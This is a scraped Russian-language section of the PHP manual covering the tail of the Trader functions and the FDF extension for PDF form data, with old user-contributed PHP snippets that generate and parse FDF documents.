Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


1-дневная скорость изменения (ROC) тройной гладкой EMA

  • « trader_trima
  • trader_tsf »
  • PHP Manual
  • Функции Trader
  • 1-дневная скорость изменения (ROC) тройной гладкой EMA

trader_trix

(PECL trader >= 0.2.0)

trader_trix — 1-дневная скорость изменения (ROC) тройной гладкой EMA

Описание

trader_trix(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Прогноз временного ряда

  • « trader_trix
  • trader_typprice »
  • PHP Manual
  • Функции Trader
  • Прогноз временного ряда

trader_tsf

(PECL trader >= 0.2.0)

trader_tsf — Прогноз временного ряда

Описание

trader_tsf(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Типичная цена

  • « trader_tsf
  • trader_ultosc »
  • PHP Manual
  • Функции Trader
  • Типичная цена

trader_typprice

(PECL trader >= 0.2.0)

trader_typprice — Типичная цена

Описание

trader_typprice(array $high, array $low, array $close): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Окончательный, предельный осциллятор

  • « trader_typprice
  • trader_var »
  • PHP Manual
  • Функции Trader
  • Окончательный, предельный осциллятор

trader_ultosc

(PECL trader >= 0.2.0)

trader_ultosc — Окончательный, предельный осциллятор

Описание

trader_ultosc(
array $high,
array $low,
array $close,
int $timePeriod1 = ?,
int $timePeriod2 = ?,
int $timePeriod3 = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod1

Количество баров (столбцов) за 1-й период. Допустимый диапазон от 1 до 100000.

timePeriod2

Количество баров (столбцов) за 2-й период. Допустимый диапазон от 1 до 100000.

timePeriod3

Количество баров (столбцов) за 3-й период. Допустимый диапазон от 1 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вариация

  • « trader_ultosc
  • trader_wclprice »
  • PHP Manual
  • Функции Trader
  • Вариация

trader_var

(PECL trader >= 0.2.0)

trader_var — Вариация

Описание

trader_var(array $real, int $timePeriod = ?, float $nbDev = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

nbDev

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Взвешенная цена закрытия

  • « trader_var
  • trader_willr »
  • PHP Manual
  • Функции Trader
  • Взвешенная цена закрытия

trader_wclprice

(PECL trader >= 0.2.0)

trader_wclprice — Взвешенная цена закрытия

Описание

trader_wclprice(array $high, array $low, array $close): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Процентный диапазон Уильямса

  • « trader_wclprice
  • trader_wma »
  • PHP Manual
  • Функции Trader
  • Процентный диапазон Уильямса

trader_willr

(PECL trader >= 0.2.0)

trader_willr — Процентный диапазон Уильямса

Описание

trader_willr(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Взвешенное скользящее среднее

  • « trader_willr
  • Генерация нетекстовых MIME-форматов »
  • PHP Manual
  • Функции Trader
  • Взвешенное скользящее среднее

trader_wma

(PECL trader >= 0.2.0)

trader_wma — Взвешенное скользящее среднее

Описание

trader_wma(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Генерация нетекстовых MIME-форматов

  • FDF — Формат данных форм
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • FDF
  • GnuPG — GNU Privacy Guard
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • GnuPG Функции
  • wkhtmltox
    • Введение
    • Установка и настройка
    • wkhtmltox\PDF\Converter — Класс wkhtmltox\PDF\Converter
    • wkhtmltox\PDF\Object — Класс wkhtmltox\PDF\Object
    • wkhtmltox\Image\Converter — Класс wkhtmltox\Image\Converter
  • PS — Создание документов PostScript
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции PS
  • RpmInfo
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции RpmInfo
  • XLSWriter
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Vtiful\Kernel\Excel — Класс Vtiful\Kernel\Excel
    • Vtiful\Kernel\Format — Класс Vtiful\Kernel\Format

User Contributed Notes

There are no user contributed notes for this page.


Формат данных форм

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • FDF
    • fdf_add_doc_javascript — Добавляет код javascript в документ FDF
    • fdf_add_template — Добавляет шаблон в FDF-документ
    • fdf_close — Закрывает FDF-документ
    • fdf_create — Создаёт новый документ FDF
    • fdf_enum_values — Вызывает пользовательскую функцию для каждого значения документа
    • fdf_errno — Возвращает код ошибки для последней операции FDF
    • fdf_error — Возвращает описание ошибки для кода ошибки FDF
    • fdf_get_ap — Получает вид поля
    • fdf_get_attachment — Извлекает загруженный файл, встроенный в FDF
    • fdf_get_encoding — Получает значение ключа /Encoding
    • fdf_get_file — Получает значение ключа /F
    • fdf_get_flags — Получает флаги поля
    • fdf_get_opt — Получает значение из массива opt поля
    • fdf_get_status — Получает значение ключа /STATUS
    • fdf_get_value — Получает значение поля
    • fdf_get_version — Получает номер версии для FDF API или файла
    • fdf_header — Устанавливает специфичные для FDF выходные заголовки
    • fdf_next_field_name — Получает имя следующего поля
    • fdf_open_string — Читает FDF документ из строки
    • fdf_open — Открывает документ FDF
    • fdf_remove_item — Устанавливает целевой фрейм для формы
    • fdf_save_string — Возвращает документ FDF в виде строки
    • fdf_save — Сохраняет документ FDF
    • fdf_set_ap — Устанавливает внешний вид поля
    • fdf_set_encoding — Устанавливает кодировку символов FDF
    • fdf_set_file — Устанавливает PDF-документ для отображения данных FDF
    • fdf_set_flags — Устанавливает флаг поля
    • fdf_set_javascript_action — Устанавливает действие javascript для поля
    • fdf_set_on_import_javascript — Добавляет код JavaScript, который будет выполняться, когда Acrobat открывает FDF
    • fdf_set_opt — Устанавливает параметры поля
    • fdf_set_status — Устанавливает значение ключа /STATUS
    • fdf_set_submit_form_action — Устанавливает действие формы отправки поля
    • fdf_set_target_frame — Устанавливает целевой фрейм для отображения формы
    • fdf_set_value — Устанавливает значение поля
    • fdf_set_version — Устанавливает номер версии для файла FDF

User Contributed Notes

There are no user contributed notes for this page.


Введение

Формат данных форм (FDF) - это формат для обработки форм в документах PDF. Более подробно данный формат описан в документации на сайте » http://www.adobe.com/devnet/acrobat/fdftoolkit.html.

Главная идея FDF похожа на формы HTML. Отличие только в формате передачи данных на сервер после нажатия кнопки "Отправить" (как раз про это и FDF) и формате самой формы (а это PDF). Обработка данных формы - это одна из возможностей, предоставляемых функциями fdf. Другая возможность - можно автоматически заполнить существующую форму данными. В этом случае мы можем создать документ FDF (fdf_create()), задать значения для каждого поля ввода (fdf_set_value()) и связать его с формой PDF (fdf_set_file()). В итоге она будет отправлена браузеру с Mime-типом application/vnd.fdf. Плагин "Acrobat reader" в вашем браузере опознает Mime-тип, прочитает связанную форму PDF и заполнит её данными из документа FDF.

Если вы посмотрите на документ FDF в простом текстовом редакторе, вы увидите каталог объектов с именем FDF. Такой объект может содержать набор элементов, таких как Fields, F, Status и т.д. Наиболее часто использующаяся запись - это Fields, которая содержит список полей ввода, и F, которая содержит имя файла документа PDF, для которого предназначены данные. Эти записи называются в документации PDF как /F-Key или /Status-Key. Изменение этих записей производится такими функциями как fdf_set_file() и fdf_set_status(). Поля модифицируются функциями fdf_set_value(), fdf_set_opt() и т.д.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Вам будет нужен "FDF toolkit SDK", который доступен по ссылке » http://www.adobe.com/devnet/acrobat/fdftoolkit.html. Начиная с PHP 4.3.0 вам необходима SDK версии не ниже 5.0. Библиотека "FDF toolkit" только в виде бинарного файла. Adobe поддерживает Win32, Linux, Solaris и AIX.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Это модуль не поддерживается и считается умершим. Однако, его исходный код всё ещё доступен в PECL SVN вот здесь: » https://svn.php.net/viewvc/pecl/fdf.

Модуль более не поставляется в составе PHP.

Замечание: Если у вас возникли проблемы при конфигурировании поддержки fdftk в PHP, проверьте, где находятся заголовочный файл fdftk.h и библиотека libfdftk.so. Скрипт configure поддерживает обе структуры каталогов поставки FDF SDK и обычно используют раскладку DIR/include / DIR/lib, так что вы указать или каталог, в который распаковали установочный пакет, либо соответствующие директории вашей операционной системы, например /usr/local/include и /usr/local/lib и конфигурировать с опцией --with-fdftk=/usr/local.

Замечание: Для пользователей Win32

Для работы этого модуля системной переменной Windows PATHдолжны быть доступны DLL-файлы. Чтобы узнать как этого достичь, обратитесь к разделу FAQ "Как добавить мою директорию с PHP в переменную Windows PATH". Хотя копирование DLL-файлов из директории PHP в системную папку Windows также решает проблему (потому что системная директория по умолчанию находится в переменной PATH), это не рекомендуется. Этому модулю требуются следующие файлы в переменной PATH: fdftk.dll

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Большинство функций fdf требую ресурс fdf в качестве первого параметра. Ресурс fdf указывает на открытый файл fdf. fdf можно получить с помощью функций fdf_create(), fdf_open() и fdf_open_string().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

FDFValue (int)
FDFStatus (int)
FDFFile (int)
FDFID (int)
FDFFf (int)
FDFSetFf (int)
FDFClearFf (int)
FDFFlags (int)
FDFSetF (int)
FDFClrF (int)
FDFAP (int)
FDFAS (int)
FDFAction (int)
FDFAA (int)
FDFAPRef (int)
FDFIF (int)
FDFEnter (int)
FDFExit (int)
FDFDown (int)
FDFUp (int)
FDFFormat (int)
FDFValidate (int)
FDFKeystroke (int)
FDFCalculate (int)
FDFNormalAP (int)
FDFRolloverAP (int)
FDFDownAP (int)

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Следующий пример демонстрирует простую обработку данных.

Пример #1 Обработка документа FDF

<?php
// Откроем fdf из входной строки, предоставляемой этим модулем
// Форма pdf содержит несколько полей для ввода со следующими именами:
// volume, date, comment, publisher, preparer, и два чекбокса
// show_publisher и show_preparer.
$fdf = fdf_open_string($HTTP_FDF_DATA);
$volume = fdf_get_value($fdf, "volume");
echo "Поле volume содержит '<b>$volume</b>'<br />";

$date = fdf_get_value($fdf, "date");
echo "Поле date содержит '<b>$date</b>'<br />";

$comment = fdf_get_value($fdf, "comment");
echo "Поле comment содержит '<b>$comment</b>'<br />";

if (fdf_get_value($fdf, "show_publisher") == "On") {
$publisher = fdf_get_value($fdf, "publisher");
echo "Поле publisher содержит '<b>$publisher</b>'<br />";
} else
echo "Поле publisher не должно быть показано.<br />";

if (fdf_get_value($fdf, "show_preparer") == "On") {
$preparer = fdf_get_value($fdf, "preparer");
echo "Поле preparer содержит '<b>$preparer</b>'<br />";
} else
echo "Поле preparer не должно быть показано.<br />";
fdf_close($fdf);
?>

User Contributed Notes

There are no user contributed notes for this page.


FDF

Содержание

  • fdf_add_doc_javascript — Добавляет код javascript в документ FDF
  • fdf_add_template — Добавляет шаблон в FDF-документ
  • fdf_close — Закрывает FDF-документ
  • fdf_create — Создаёт новый документ FDF
  • fdf_enum_values — Вызывает пользовательскую функцию для каждого значения документа
  • fdf_errno — Возвращает код ошибки для последней операции FDF
  • fdf_error — Возвращает описание ошибки для кода ошибки FDF
  • fdf_get_ap — Получает вид поля
  • fdf_get_attachment — Извлекает загруженный файл, встроенный в FDF
  • fdf_get_encoding — Получает значение ключа /Encoding
  • fdf_get_file — Получает значение ключа /F
  • fdf_get_flags — Получает флаги поля
  • fdf_get_opt — Получает значение из массива opt поля
  • fdf_get_status — Получает значение ключа /STATUS
  • fdf_get_value — Получает значение поля
  • fdf_get_version — Получает номер версии для FDF API или файла
  • fdf_header — Устанавливает специфичные для FDF выходные заголовки
  • fdf_next_field_name — Получает имя следующего поля
  • fdf_open_string — Читает FDF документ из строки
  • fdf_open — Открывает документ FDF
  • fdf_remove_item — Устанавливает целевой фрейм для формы
  • fdf_save_string — Возвращает документ FDF в виде строки
  • fdf_save — Сохраняет документ FDF
  • fdf_set_ap — Устанавливает внешний вид поля
  • fdf_set_encoding — Устанавливает кодировку символов FDF
  • fdf_set_file — Устанавливает PDF-документ для отображения данных FDF
  • fdf_set_flags — Устанавливает флаг поля
  • fdf_set_javascript_action — Устанавливает действие javascript для поля
  • fdf_set_on_import_javascript — Добавляет код JavaScript, который будет выполняться, когда Acrobat открывает FDF
  • fdf_set_opt — Устанавливает параметры поля
  • fdf_set_status — Устанавливает значение ключа /STATUS
  • fdf_set_submit_form_action — Устанавливает действие формы отправки поля
  • fdf_set_target_frame — Устанавливает целевой фрейм для отображения формы
  • fdf_set_value — Устанавливает значение поля
  • fdf_set_version — Устанавливает номер версии для файла FDF

User Contributed Notes

JFS at TRASH-MAIL dot COM 09-Oct-2021 02:20
function parseFDF($file) {
    $pattern = "/\/T\s\(([^)]*)\)[\n]\/V\s\(([^)]*)\)/ism";

    if (preg_match_all($pattern, $file, $out, PREG_SET_ORDER, 0)) {
        for ($i=0; $i<count($out); $i++) {
            if (preg_match($pattern, $out[$i][0], $regs)) {
                $key = $regs[1];
                $val = $regs[2];
                $key = preg_replace("/^\s*\(/","",$key);
                $key = preg_replace("/\)$/","",$key);
                $key = preg_replace("/\\\/","",$key);
                $val = preg_replace("/^\s*\(/","",$val);
                $val = preg_replace("/\)$/","",$val);
                $matches[$key] = $val;
            }
        }
        return $matches;
    }
}

$fdfFile = file_get_contents('testfdf.fdf');
var_dump(parseFDF($fdfFile));
bea dot el dot tea at gmail dot com 17-Aug-2011 09:01
If you can't get the php_fdf.dll working in PHP 5.3 on Windows, one possible work around is to use the activeX version from the "FDF Toolkit for Windows" from the Adobe website.  Here is part of a class I built for one of my projects.

<?php
class FDF{
    public $NormalAP = 0;
    public $RolloverAP = 1;
    public $DownAP = 2;

    protected $fdf;

    public function __construct(){
        $com = new COM('FdfApp.FdfApp');
        $this->fdf = $com->FDFCreate();
    }
    public function setFile($fileName){
        $this->fdf->FDFSetFile(str_replace(' ', '%20', $fileName));
    }
    public function setValue($name, $value){
        $this->fdf->FDFSetValue($name, $value, true);
    }
    public function setAP($field, $whichFace, $fileName, $pageNumber){
        $this->fdf->FDFSetAP($field, $whichFace, $fileName, $pageNumber);
    }
    public function savetoFile($saveFileName){
        $this->fdf->FDFSavetoFile($saveFileName);
    }
    public function close(){
        $this->fdf->FDFclose();
    }
}
?>
info at theindigoworks dot com 12-Jul-2007 08:49
re. g8z at yahoo dot com 18-Oct-2004 06:46

I think there is a line missing in

foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

I have changed it to read

 $key = addcslashes($key, "\n\r\t\\()");
$value = addcslashes($value, "\n\r\t\\()");
   $fdf .= "<< /T ($key) /V /$value >> \n";

Now all the check boxes and radio buttons are populated, not just the last one in the form as was happening before.
wesley_grant at yahoo dot com 11-Jan-2006 03:37
Changing the

session.cache_limiter

directive in the php.ini file to 'private'

seems to resolve the issue with sending fdf data and session headers at the same time to Internet Explorer.
bmount at livid dot us 19-Oct-2005 08:05
For those of you struggling with FDF in Internet Explorer, here is your solution:

DO NOT INITIALIZE A SESSION ON THE PAGE THAT GENERATES AND OUTPUTS FDF DATA.

This will fix the page not found error.
03-May-2005 01:08
Use "Yes" instead of "On" to populate checkboxes.
g8z at yahoo dot com 17-Oct-2004 11:46
This is for users who are looking for a way to merge HTML form data with a PDF Form, then output the PDF Form with data populated in it, to a web browser.

This is a pure PHP solution which does NOT require the FDF toolkit. Contributed by www.TUFaT.com

<?php

// the full http path to the PDF form
$form = 'http://my_domain.com/my_pdf_form.pdf';

function create_fdf ($pdffile, $strings, $keys)
{
    $fdf = "%FDF-1.2\n%????\n";
    $fdf .= "1 0 obj \n<< /FDF << /Fields [\n";

    foreach ($strings as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $value = addcslashes($value, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V ($value) >> \n";
    }
    foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

    $fdf .= "]\n/F ($pdffile) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}

// Fill in text fields
$strings = array(
    'date' => '10/17/2004',
    'full_name' => 'Joe Doe',
    'phone_num' => '123-4567',
    'company' => 'ACME Widgets',
    'amount' => 'USD 100.00'
    );

// Fill in check boxes/radio buttons
$keys = array('
    gender' => 'male',//radio button
    'is_adult' => 'Off',//checkbox
    'urgent' => 'On'//checkbox
    );

// Output the PDF form, with form data filled-in
header('Content-type: application/vnd.fdf');
echo create_fdf($form, $strings, $keys);

?>
sid at accesspdf dot com 07-Oct-2004 11:09
Basic FDF data is easy to create using native PHP; you don't need Adobe's FDF Toolkit. I wrote a function for this purpose called forge_fdf(). You can download it from:

http://www.pdfhacks.com/forge_fdf/

I created it for my book, PDF Hacks. An example of forge_fdf() in action can be viewed online:

http://pdfhacks.com/form_session/form_session-1.1/

Download the full code for this online example from:

http://pdfhacks.com/form_session/

Note how the PDF form data is submitted back to the server via POST rather than FDF. No need to parse FDF.

Cheers-

Sid Steward
m1tk4 at hotmail dot com 30-Jun-2004 10:34
If you want to add FDF support without rebuilding your RedHat EL3 / Fedora PHP RPMs, see instructions at http://phprpms.sourceforge.net/fdf
software at yvanrodrigues dot com 25-Mar-2004 02:16
Do not use version 6 of the fdftk.dll (windows) with PHP4.3.4, use the one that comes with PHP.

If you use the newer DLL fdf_create will not return a valid handle.
fleischer at mail dot com 18-Dec-2003 07:40
The code suggested by greg@... and adam@... is extremely helpful, but I've found out (the hard way) that unclosed parentheses within strings contained in the input array ($values in greg's code or $pdf_data in adam's) will cause Acrobat to issue an error to the effect that the file is corrupted. In other words, if there are strings such as "a) my first point; b) my second point" in the input array, the resulting PDF/FDF file will be considered corrupted by Acrobat. This apparently happens because all the field names in the structure of an FDF file are enclosed in parentheses.

The solution I've devised is to escape all opening and closing parentheses with a backslash, which in turn means you need to escape all backslashes. The code below does all that.

Erik

---------------

function output_fdf ($pdf_file, $pdf_data)
{
    $fdf = "%FDF-1.2\n%????\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    $search = array('\\', '(', ')');
    $replace = array('\\\\', '\(', '\)');
    foreach ($pdf_data as $key => $val)
    {
        $clean_key = str_replace($search, $replace, $key);
        $clean_val = str_replace($search, $replace, $val);
        $fdf .= "<< /V ($clean_val)/T ($clean_key) >> \n";
    }

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}
mirage at rateaprof dot com 08-May-2003 05:33
If you get the new  fdftkv5.tar.gz  from adobe's site (per the link above), you'll get some totally new spacing and capitalization of files.  To make the current 4.3.1 configure, you need to do a few things.

untar fdftkv5.tar.gz into /usr/local
cd /usr/local
#for ease of use
ln -s FDFToolkit\ for\ UNIX fdf

cd fdf
ln -s Headers\ And\ Libraries HeadersAndLibraries

#may need to modify the following for your OS
ln -s LINUX linux
cd linux/C
ln -s LIBFDFTK.SO libfdftk.so

cd ..
cd ..
ln -s Headers headers
cd headers
ln -s FDFTK.H fdftk.h

And that should get you going... and to whoever is maintaining the configure script, please be aware there are changes in the FDF Toolkit.
Teemu 05-Mar-2003 06:17
Maybe you have to use Header-function that your browser will regonize xfdf-file. Like this:

Header( "Content-type: application/vnd.adobe.xfdf");
jeff at cowart dot net 19-Jan-2003 08:06
I have tried to use the scripts above by adam and Toppi and I have been unable to get them to work unless I save the generated fdf file and then open it manually in acrobat.
Toppi at i-Mehl dot De 26-Nov-2002 12:18
I tried a lot with FDF -> PDF and merging these documents...
in my opinon xfdf is more handy than fdf... for those who'd like to try: feel free to use this little function to generate an xfdf document from an array.

ToPPi

function array2xfdf($xfdf_data, $pdf_file) {
// Creates an XFDF File from a 2 dimensional
// Array Format: "array ("key1" => "content1", "key2" => "content2");
$xfdf = "<?xml version='1.0' encoding='UTF-8'?>\n";
$xfdf .= "<xfdf xmlns='http://ns.adobe.com/xfdf/' xml:space='preserve'>\n";
$xfdf .= "<fields>\n";
// Loop -> Array to XFDF Data
foreach ($xfdf_data as $key => $val) {
$xfdf .= "<field name='".$key."'>\n";
$xfdf .= "<value>".$val."</value>\n";
$xfdf .= "</field>\n";
};
// XFDF "Footer"
$xfdf .= "</fields>";
$xfdf .= "<f href='".$pdf_file."'/>";
$xfdf .= "</xfdf>";
return $xfdf;
}
mitka at actdev.com 21-Oct-2002 04:24
IMPORTANT:

If you handled the FDF POSTs via $HTTP_RAW_POST_DATA as in user contributed scripts above, it's good to know that once you decide to rebuild PHP with FDFToolkit support, $HTTP_RAW_POST_DATA will be undefined.

Good news - $HTTP_FDF_DATA _will_ be defined instead. (Look at the example above).To get the user contributed scripts working in both plain PHP and PHP+FDFToolkit use

 $HTTP_RAW_POST_DATA . $HTTP_FDF_DATA

where $HTTP_RAW_POST_DATA mentioned.

Dimitri Tarassenko
adam at andemyte dot com 02-Aug-2002 11:30
Here is yet another example of generating pre-filled PDFs without using the FDF functions. This function takes two args: a URL to the PDF (like "http://domain.com/path/to/form.pdf" and an array with all the field's values.

/*
    WARNING!! THIS FUNCTION SENDS HTTP HEADERS! It MUST be called before
    any content is spooled to the browser, or the function will fail!

    void output_fdf (string $pdf_file, array $pdf_data)

        $pdf_file:  a string containing a URL path to a PDF file on the
                    server. This PDF MUST exist and contain fields with
                    the names referenced by $pdf_data for this function
                    to work.
        $pdf_data:  an array of any fields in $pdf_file that you want to
                    populate, of the form key=>val; where the field
                    name is the key, and the field's value is in val.

*/

function output_fdf ($pdf_file, $pdf_data) {

    $fdf = "%FDF-1.2\n%????\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    foreach ($pdf_data as $key => $val)
        $fdf .= "<< /V ($val)/T ($key) >> \n";

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    /* Now we display the FDF data which causes Acrobat to start  */

    header ("Content-Type: application/vnd.fdf");
    print $fdf;

}
noah at NOSPAMbrandfidelity dot com 08-Mar-2002 08:26
function parse($file) {
                if (!preg_match_all("/<<\s*\/V([^>]*)>>/x",
$file,$out,PREG_SET_ORDER))
                        return;
                for ($i=0;$i<count($out);$i++) {
                        $pattern = "<<.*/V\s*(.*)\s*/T\s*(.*)\s*>>";
                        $thing = $out[$i][1];
                        if (eregi($pattern,$out[$i][0],$regs)) {
                                $key = $regs[2];
                                $val = $regs[1];
                                $key = preg_replace("/^\s*\(/","",$key);
                                $key = preg_replace("/\)$/","",$key);
                                $key = preg_replace("/\\\/","",$key);
                                $val = preg_replace("/^\s*\(/","",$val);
                                $val = preg_replace("/\)$/","",$val);
                                $matches[$key] = $val;
                        }
                }
                return $matches;
        }
gregDELETETHIS at laundrymat dot tv 21-Dec-2001 03:06
Here is an easy script to output fdf data to the browser without using the fdf toolkit or creating an actual fdf file on the server.
By the way acrobat is very picky about line breaks so you must leave the "\n" in the script. The script reads the variables posted to it from a form use POST and creates a fdf file from them. The field names posted to this script must match the field names in the pdf. Acrobat will ignore any that don't match.

<?php

//path to pdf file
$url="http://www.some_url.com/form.pdf";

$values=$HTTP_POST_VARS;

$fdfdata = "%FDF-1.2\n%????\n";
$fdfdata .= "1 0 obj \n<< /FDF ";
$fdfdata .= "<< /Fields [\n";

//loop that adds the field names and values
foreach($values as $key=>$val)
    {
    $fdfdata.="<< /V ($val)/T ($key) >> ";
    }

$fdfdata .= "]\n";
$fdfdata .= "/F ($url) >>";
$fdfdata .= ">>\nendobj\ntrailer\n<<\n/Root 1 0 R\n>>\n";
$fdfdata .= "%%EOF";

/*** Now we display the FDF data which causes Acrobat to start  ***/

header ("Content-Type: application/vnd.fdf");
print $fdfdata;

?>

You can use javascript in the pdf to read the values from a GET method posted directly to the pdf. you can see both methods here: http://laundrymat.tv/pdf/
joe at koontz dot net 28-Apr-2000 04:42
The simplest thing to do is get the FDF data from $HTTP_RAW_POST_DATA.  (unless you have the server library installed none of the fdf data gets parsed!) This is typical of  what you get:
%FDF-1.2
1 0 obj
<<
/FDF << /Fields [ << /V (0)/T (amount0)>> << /V (0)/T (amount1)>> << /V (0)/T (amount2)>>
<< /V (0)/T (amount3)>> << /V (0)/T (amount4)>> << /V (0)/T (amount5)>>
<< /V (0)/T (amount6)>> << /V (0)/T (amount7)>> << /V (0)/T (amount8)>>
<< /V (0)/T (amount9)>> << /V /0102 /T (chase_bk)>> << /V (0)/T (count)>>
<< /V (0)/T (invtotal)>> << /V (12/21/2000)/T (sent_ap)>> << /V /Off /T (spec_hand)>>
<< /V (041232)/T (transit_no)>> << /V (THIS FORM IS NOT COMPLETE!!!)/T (X)>>
]
/F (http://x.com/forms/AA00390q.pdf)>>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF
kill everything before the [ and then parse it down into key value pairs.
I wrote this to create an FDF, make sure you do a
header("Content-type: application/vnd.fdf");
before you echo the returned value to the user.

<?php
function FDFput($FDFpage){
 $A = "%FDF-1.2\n1 0 obj\n<< \n/FDF << /Fields [ \n";
 $C = " ] \n"    ;
     if ($FDFpage>"" ) {$C .=" /F ($FDFpage)>>\n";}
    $C .= ">>\n>> \nendobj\ntrailer\n\n<</Root 1 0 R>>\n%%EOF\n";
    $B = "";
 reset($FDFData);
 while (list($key, $val) = each($FDFData))
  {
  if (strlen(trim($val)) > 0 && is_string($key))
   {
    $B .= "<</T ($key) /V (". $val . ")>>\n";
//echo     "<</T ($key) /V (". $val . ")>>\n";
                }
  }
    return $A.$B.$C;
}
?>

It ain't perfect - but it works. (I use HTML for posting to the server, FDF to the browser)
joe


Добавляет код javascript в документ FDF

  • « FDF
  • fdf_add_template »
  • PHP Manual
  • FDF
  • Добавляет код javascript в документ FDF

fdf_add_doc_javascript

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_add_doc_javascript — Добавляет код javascript в документ FDF

Описание

fdf_add_doc_javascript(resource $fdf_document, string $script_name, string $script_code): bool

Добавляет скрипт в FDF, который Acrobat затем добавляет в скрипт документа на уровне документа после того, как в него будет импортирован FDF.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() или fdf_open_string().

script_name

Имя скрипта.

script_code

Код скрипта. Настоятельно рекомендуется использовать \r для переноса строк в коде скрипта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавление кода JavaScript в FDF

<?php
$fdf = fdf_create();
fdf_add_doc_javascript($fdf, "PlusOne", "function PlusOne(x)\r{\r return x+1;\r}\r");
fdf_save($fdf);
?>

создаст FDF следующим образом:

%FDF-1.2
%aaIO
1 0 obj
<<
/FDF << /JavaScript << /Doc [ (PlusOne)(function PlusOne\(x\)\r{\r  return x+1;\r}\r)] >> >>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

User Contributed Notes

There are no user contributed notes for this page.


Добавляет шаблон в FDF-документ

  • « fdf_add_doc_javascript
  • fdf_close »
  • PHP Manual
  • FDF
  • Добавляет шаблон в FDF-документ

fdf_add_template

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_add_template — Добавляет шаблон в FDF-документ

Описание

fdf_add_template(
resource $fdf_document,
int $newpage,
string $filename,
string $template,
int $rename
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Закрывает FDF-документ

  • « fdf_add_template
  • fdf_create »
  • PHP Manual
  • FDF
  • Закрывает FDF-документ

fdf_close

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_close — Закрывает FDF-документ

Описание

fdf_close(resource $fdf_document): void

Закрывает FDF-документ.

Список параметров

fdf_document

Дескриптор FDF-документа, возвращённый функциями fdf_create(), fdf_open() или fdf_open_string().

Возвращаемые значения

